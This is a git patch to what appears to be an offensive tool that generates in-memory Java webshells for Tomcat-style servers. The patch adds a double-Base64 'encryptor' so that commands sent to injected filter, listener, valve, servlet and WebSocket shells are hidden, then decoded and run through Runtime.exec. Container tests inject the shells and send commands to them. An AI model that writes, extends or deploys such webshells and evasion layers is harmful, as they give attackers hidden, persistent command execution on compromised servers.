From 565d05340ef769f16c257bc2d8782f24d25beb45 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 28 Apr 2025 00:42:59 +0800 Subject: [PATCH] feat: support command encryptor --- .../boot/controller/ConfigController.java | 7 ++ .../javaweb/boot/dto/GenerateRequest.java | 2 + .../javaweb/memshell/MemShellGenerator.java | 1 + .../memshell/config/CommandConfig.java | 14 +++ .../memshell/generator/CommandGenerator.java | 72 -------------- .../generator/command/CommandGenerator.java | 92 ++++++++++++++++++ .../command/DoubleBase64ParamInterceptor.java | 16 +++ .../memshell/utils/ShellCommonUtil.java | 4 +- .../tomcat/command/CommandFilterTest.java | 37 +++++-- .../integration/ShellAssertionTool.java | 74 +++++++++----- .../Tomcat8CommandEncryptorContainerTest.java | 91 +++++++++++++++++ .../reajason/javaweb/util/ClassUtilsTest.java | 2 +- .../shelltool/command/CommandFilter.java | 6 +- .../shelltool/command/CommandListener.java | 6 +- .../shelltool/command/CommandServlet.java | 6 +- .../shelltool/command/CommandValve.java | 6 +- .../shelltool/command/CommandWebSocket.java | 28 +++--- web/bun.lockb | Bin 203804 -> 203892 bytes web/package.json | 90 ++++++++--------- web/src/components/results/feedback-alert.tsx | 3 +- web/src/components/tools/command-tab.tsx | 77 ++++++++++++--- web/src/i18n/en.json | 3 +- web/src/i18n/zh-CN.json | 3 +- web/src/types/schema.ts | 1 + web/src/types/shell.ts | 1 + web/src/utils/transformer.ts | 1 + 26 files changed, 456 insertions(+), 187 deletions(-) delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 4f3b90d5..512cf8dc 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -3,8 +3,10 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.server.AbstractShell; import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -58,4 +60,9 @@ public class ConfigController { } return coreMap; } + + @GetMapping("/command/encryptors") + public List getCommandEncryptors() { + return Arrays.stream(CommandConfig.Encryptor.values()).toList(); + } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 6dea5a30..548e1af6 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -28,6 +28,7 @@ public class GenerateRequest { private String headerName; private String headerValue; private String shellClassBase64; + private String encryptor; } public ShellToolConfig parseShellToolConfig() { @@ -48,6 +49,7 @@ public class GenerateRequest { case Command -> CommandConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) + .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .build(); case Suo5 -> Suo5Config.builder() .shellClassName(shellToolConfig.getShellClassName()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 9f70e85c..abce2131 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.generator.*; +import com.reajason.javaweb.memshell.generator.command.CommandGenerator; import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.utils.CommonUtil; import org.apache.commons.lang3.StringUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 85907532..6e4599bf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -16,4 +16,18 @@ import lombok.experimental.SuperBuilder; public class CommandConfig extends ShellToolConfig { @Builder.Default private String paramName = CommonUtil.getRandomString(8); + + @Builder.Default + private Encryptor encryptor = Encryptor.RAW; + + public enum Encryptor { + RAW, DOUBLE_BASE64; + + public static Encryptor fromString(String encryptor) { + if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { + return DOUBLE_BASE64; + } + return RAW; + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java deleted file mode 100644 index f0d51f6c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java +++ /dev/null @@ -1,72 +0,0 @@ -package com.reajason.javaweb.memshell.generator; - -import com.reajason.javaweb.ClassBytesShrink; -import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; -import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; -import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; -import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.config.ShellConfig; -import net.bytebuddy.ByteBuddy; -import net.bytebuddy.dynamic.DynamicType; -import org.apache.commons.lang3.StringUtils; - -import java.util.HashMap; - -import static net.bytebuddy.matcher.ElementMatchers.named; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandGenerator { - private final ShellConfig shellConfig; - private final CommandConfig commandConfig; - - public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) { - this.shellConfig = shellConfig; - this.commandConfig = commandConfig; - } - - public DynamicType.Builder getBuilder() { - if (commandConfig.getShellClass() == null) { - throw new IllegalArgumentException("commandConfig.getClazz() == null"); - } - - DynamicType.Builder builder = new ByteBuddy() - .redefine(commandConfig.getShellClass()) - .name(commandConfig.getShellClassName()) - .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); - - if (shellConfig.isJakarta()) { - builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); - } - - if (shellConfig.isDebugOff()) { - builder = LogRemoveMethodVisitor.extend(builder); - } - - String shellType = shellConfig.getShellType(); - if (!ShellType.WEBSOCKET.equals(shellType)) { - if (StringUtils.startsWith(shellType, ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(1) {{ - put("paramName", commandConfig.getParamName()); - }}) - ); - } else { - builder = builder.field(named("paramName")).value(commandConfig.getParamName()); - } - } - - return builder; - } - - public byte[] getBytes() { - DynamicType.Builder builder = getBuilder(); - try (DynamicType.Unloaded make = builder.make()) { - return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); - } - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java new file mode 100644 index 00000000..82582d68 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -0,0 +1,92 @@ +package com.reajason.javaweb.memshell.generator.command; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.buddy.*; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FixedValue; +import org.apache.commons.lang3.StringUtils; + +import java.util.Collections; +import java.util.HashMap; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandGenerator { + private final ShellConfig shellConfig; + private final CommandConfig commandConfig; + + public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) { + this.shellConfig = shellConfig; + this.commandConfig = commandConfig; + } + + public DynamicType.Builder getBuilder() { + if (commandConfig.getShellClass() == null) { + throw new IllegalArgumentException("commandConfig.getClazz() == null"); + } + + DynamicType.Builder builder = new ByteBuddy() + .redefine(commandConfig.getShellClass()) + .name(commandConfig.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + if (shellConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + String shellType = shellConfig.getShellType(); + + if (StringUtils.startsWith(shellType, ShellType.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(new HashMap(1) {{ + put("paramName", commandConfig.getParamName()); + }}) + ); + } else if (!ShellType.WEBSOCKET.equals(shellType)) { + builder = builder.field(named("paramName")) + .value(commandConfig.getParamName()); + } + + if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) { + builder = builder + .visit(new AsmVisitorWrapper.ForDeclaredMethods() + .method(named("getParam"), + new MethodCallReplaceVisitorWrapper( + commandConfig.getShellClassName(), + Collections.singleton(ShellCommonUtil.class.getName())) + ) + ) + .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC) + .withParameters(String.class) + .intercept(FixedValue.nullValue()) + .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) + .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); + } + + return builder; + } + + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); + try (DynamicType.Unloaded make = builder.make()) { + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java new file mode 100644 index 00000000..672a680f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.memshell.generator.command; + +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; + +/** + * @author ReaJason + * @since 2025/4/27 + */ +public class DoubleBase64ParamInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) { + returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java index 67301a9b..060a095d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java @@ -74,7 +74,7 @@ public class ShellCommonUtil { } catch (Exception ignored) { } } - return value == null ? "" : new String(value); + return value == null ? null : new String(value); } public static class Base64DecodeToStringInterceptor { @@ -96,7 +96,7 @@ public class ShellCommonUtil { } catch (Exception ignored) { } } - returnValue = value == null ? "" : new String(value); + returnValue = value == null ? null : new String(value); } } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index 1053403c..76d976a5 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,13 +1,16 @@ package com.reajason.javaweb.memshell.tomcat.command; -import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.*; import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.generator.CommandGenerator; +import com.reajason.javaweb.memshell.generator.command.CommandGenerator; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandListener; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.util.ClassUtils; +import org.junit.jupiter.api.Test; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -36,15 +39,37 @@ class CommandFilterTest { @MethodSource("casesProvider") void generate(String shellType, Class clazz, String className) { ShellConfig generateConfig = new ShellConfig(); - CommandConfig shellConfig = CommandConfig.builder() + CommandConfig commandConfig = CommandConfig.builder() .shellClass(clazz) .shellClassName(className) .paramName("cmd") .build(); generateConfig.setShellType(shellType); - byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes(); + byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes(); Object obj = ClassUtils.newInstance(bytes); - assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); - assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); + assertEquals(commandConfig.getShellClassName(), obj.getClass().getName()); + assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); + } + + @Test + void testGenerator() throws Exception { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellType(ShellType.FILTER) + .shellTool(ShellTool.Command) + .build(); + + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandFilter.class) + .shellClassName("org.apache.utils.CommandFilter") + .paramName("cmd") + .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) + .build(); + InjectorConfig injectorConfig = new InjectorConfig(); + + GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); +// Files.write(Paths.get("hehe.class"), generate.getShellBytes()); + String pack = Packers.ScriptEngine.getInstance().pack(generate); + System.out.println(pack); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index d3c1e257..ed16d308 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -20,6 +20,7 @@ import org.testcontainers.containers.GenericContainer; import org.testcontainers.shaded.org.apache.commons.io.FileUtils; import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils; +import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair; import org.testcontainers.utility.MountableFile; import java.io.IOException; @@ -53,9 +54,8 @@ public class ShellAssertionTool { } @SneakyThrows - public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + public static Pair getUrls(String url, String shellType, ShellTool shellTool, Packers packer) { String shellUrl = url + "/test"; - String urlPattern = null; if (shellType.endsWith(ShellType.SERVLET) || shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER) @@ -71,9 +71,26 @@ public class ShellAssertionTool { URL url1 = new URL(url); shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern; } + return Pair.of(shellUrl, urlPattern); + } - GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer); + @SneakyThrows + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + Pair urls = getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); + + GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig); + + packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer); + + assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer); + } + + @SneakyThrows + public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer appContainer) { String content = null; if (packer.getInstance() instanceof JarPacker) { byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult); @@ -96,16 +113,19 @@ public class ShellAssertionTool { assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer); log.info("send inject payload successfully"); } + } + @SneakyThrows + public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer appContainer, GenericContainer pythonContainer) { switch (shellTool) { case Godzilla: testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); break; case Command: if (shellType.endsWith(ShellType.WEBSOCKET)) { - testWebSocketCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); + testWebSocketCommandIsOk(shellUrl, "id"); } else { - testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); + testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id"); } break; case Behinder: @@ -144,11 +164,11 @@ public class ShellAssertionTool { } @SneakyThrows - public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) { + public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) { OkHttpClient okHttpClient = new OkHttpClient(); HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) .newBuilder() - .addQueryParameter(shellConfig.getParamName(), "id") + .addQueryParameter(shellConfig.getParamName(), payload) .build(); Request request = new Request.Builder() .url(url) @@ -161,7 +181,8 @@ public class ShellAssertionTool { } } - public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception { + @SneakyThrows + public static void testWebSocketCommandIsOk(String entrypoint, String payload) { final CountDownLatch latch = new CountDownLatch(1); final String[] responseHolder = new String[1]; final long timeout = 5; @@ -169,7 +190,7 @@ public class ShellAssertionTool { WebSocketClient client = new WebSocketClient(new URI(entrypoint)) { @Override public void onOpen(ServerHandshake data) { - send("id"); + send(payload); } @Override @@ -220,22 +241,7 @@ public class ShellAssertionTool { assertTrue(antSwordManager.getInfo().contains("ok")); } - public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { - InjectorConfig injectorConfig = new InjectorConfig(); - if (StringUtils.isNotBlank(urlPattern)) { - injectorConfig.setUrlPattern(urlPattern); - } - - ShellConfig shellConfig = ShellConfig.builder() - .server(server) - .shellTool(shellTool) - .shellType(shellType) - .targetJreVersion(targetJdkVersion) - .byPassJavaModule(targetJdkVersion >= Opcodes.V9) - .debug(true) - .shrink(true) - .build(); - + public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) { ShellToolConfig shellToolConfig = null; String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); switch (shellTool) { @@ -287,6 +293,24 @@ public class ShellAssertionTool { log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName); break; } + return shellToolConfig; + } + + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { + InjectorConfig injectorConfig = new InjectorConfig(); + if (StringUtils.isNotBlank(urlPattern)) { + injectorConfig.setUrlPattern(urlPattern); + } + + ShellConfig shellConfig = ShellConfig.builder() + .server(server) + .shellTool(shellTool) + .shellType(shellType) + .targetJreVersion(targetJdkVersion) + .byPassJavaModule(targetJdkVersion >= Opcodes.V9) + .debug(true) + .shrink(true) + .build(); return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java new file mode 100644 index 00000000..fb2fbe4d --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.integration.tomcat; + +import com.reajason.javaweb.integration.ShellAssertionTool; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; +import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; +import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair; + +import java.util.Base64; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2025/4/28 + */ +@Testcontainers +@Slf4j +public class Tomcat8CommandEncryptorContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + String url = getUrl(container); + + Pair urls = ShellAssertionTool.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + + String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); + + ShellToolConfig shellToolConfig = CommandConfig.builder() + .paramName(uniqueName) + .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) + .build(); + + GenerateResult generateResult = ShellAssertionTool.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig); + + ShellAssertionTool.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); + + String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes())); + if (shellType.endsWith(ShellType.WEBSOCKET)) { + ShellAssertionTool.testWebSocketCommandIsOk(shellUrl, payload); + } else { + ShellAssertionTool.testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload); + } + } +} diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java index cd4f7e91..662b0f46 100644 --- a/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java @@ -1,12 +1,12 @@ package com.reajason.javaweb.util; -import java.util.Base64;; import org.junit.jupiter.api.Disabled; import org.junit.jupiter.api.Test; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.Base64; /** * @author ReaJason diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 57e98c75..218a7c3d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -18,11 +18,15 @@ public class CommandFilter implements Filter { } + public String getParam(String param) { + return param; + } + @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); + String cmd = getParam(servletRequest.getParameter(paramName)); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 905239c5..354e0491 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -21,11 +21,15 @@ public class CommandListener implements ServletRequestListener { } + public String getParam(String param) { + return param; + } + @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - String cmd = request.getParameter(paramName); + String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { HttpServletResponse servletResponse = this.getResponseFromRequest(request); Process exec = Runtime.getRuntime().exec(cmd); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index bedfad7f..d5ca751e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -20,9 +20,13 @@ public class CommandServlet extends HttpServlet { doPost(req, resp); } + public String getParam(String param) { + return param; + } + @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String cmd = request.getParameter(paramName); + String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index 2f1d97ab..e13b31c8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -39,9 +39,13 @@ public class CommandValve implements Valve { public void backgroundProcess() { } + public String getParam(String param) { + return param; + } + @Override public void invoke(Request request, Response response) throws IOException, ServletException { - String cmd = request.getParameter(paramName); + String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 1d0b81b8..003e25f5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -4,6 +4,7 @@ import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; +import java.io.ByteArrayOutputStream; import java.io.InputStream; /** @@ -16,25 +17,22 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole*Is+=eeG*ITxS=b7Ws5q zBwtT+?T5|oIx;m)E+1XrxSYPX%~V1E>1yxehWkIH7@dguruR~A90{*i1>TC3ww|ih ztEoOe3`itV5-EKcSOoZ~If*0#+zu=R92*)G60aK`7ihuGH?ky=XrT85Sr|AZE-rpe zOekp%$YLOCT9HT-fUh&{_$M+0`LFA9b7c8QBnik70mhaFXOT#fz&*eyheSuO3=bud zn1KSaw46C4k`ySXGcyDx`dB)VNa7$Z4T=xdT^1EL4P>lx6#6p}nB^pN%*&Z=ats)o 